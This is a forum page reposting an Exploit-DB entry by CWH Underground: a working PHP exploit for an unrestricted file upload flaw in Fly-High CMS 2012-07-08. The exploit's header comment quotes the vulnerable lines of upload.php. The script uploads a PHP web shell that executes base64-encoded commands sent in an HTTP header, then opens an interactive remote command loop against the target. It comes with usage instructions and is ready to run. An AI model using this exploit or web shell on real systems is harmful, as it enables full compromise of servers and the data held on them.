Exploit Fly-High CMS 2012-07-08 - Unrestricted Arbitrary File Upload

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
26241
Проверка EDB
  1. Пройдено
Автор
CWH UNDERGROUND
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
null
Дата публикации
2013-06-17
Код:
<?php
 
/*
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /        
  / XXXXXX /
 (________(          
  `------'
  
 Exploit Title   : Fly-High CMS Unrestricted File Upload Exploit
 Date            : 15 June 2013
 Exploit Author  : CWH Underground
 Site            : www.2600.in.th
 Vendor Homepage : http://sourceforge.net/projects/flyhighcms/
 Software Link   : http://jaist.dl.sourceforge.net/project/flyhighcms/unstable/2012-07-08_unstable.zip
 Version         : 2012-07-08
 Tested on       : Window and Linux
  
  
#####################################################
VULNERABILITY: Unrestricted File Upload 
#####################################################
  
/resources/upload.php (LINE: 30, 60-61)
 
-----------------------------------------------------------------------------
Line: 30 
$targetDir = "../" . $_GET['pfad'];
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
Line: 60-61
if (!file_exists($targetDir))
		@mkdir($targetDir);
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
Line: 55-57
$fileName = 'upload_' . $count . $fileName_b;

$filePath = $targetDir . DIRECTORY_SEPARATOR . $fileName;
-----------------------------------------------------------------------------
 
#####################################################
DESCRIPTION
#####################################################
  
An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.
 

#####################################################
EXPLOIT
#####################################################
  
*/
 
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
  
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
 
print "\n+----------------------------------------------+";
print "\n| Fly-High CMS Unrestricted File Upload Exploit |";
print "\n+----------------------------------------------+\n";
  
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /flyhighCMS/\n";
    die();
}
 
$host = $argv[1];
$path = $argv[2];
 

$payload = "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
 
$packet  = "POST {$path}resources/upload.php?pfad=cwh&name=1.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
     
http_send($host, $packet);
 
$packet1  = "GET {$path}cwh/upload_1.php HTTP/1.0\r\n";
$packet1 .= "Host: {$host}\r\n";
$packet1 .= "Cmd: %s\r\n";
$packet1 .= "Connection: close\r\n\r\n";
     
while(1)
{
    print "\nFlyhigh-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet1, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
 
?>
 
Источник
www.exploit-db.com

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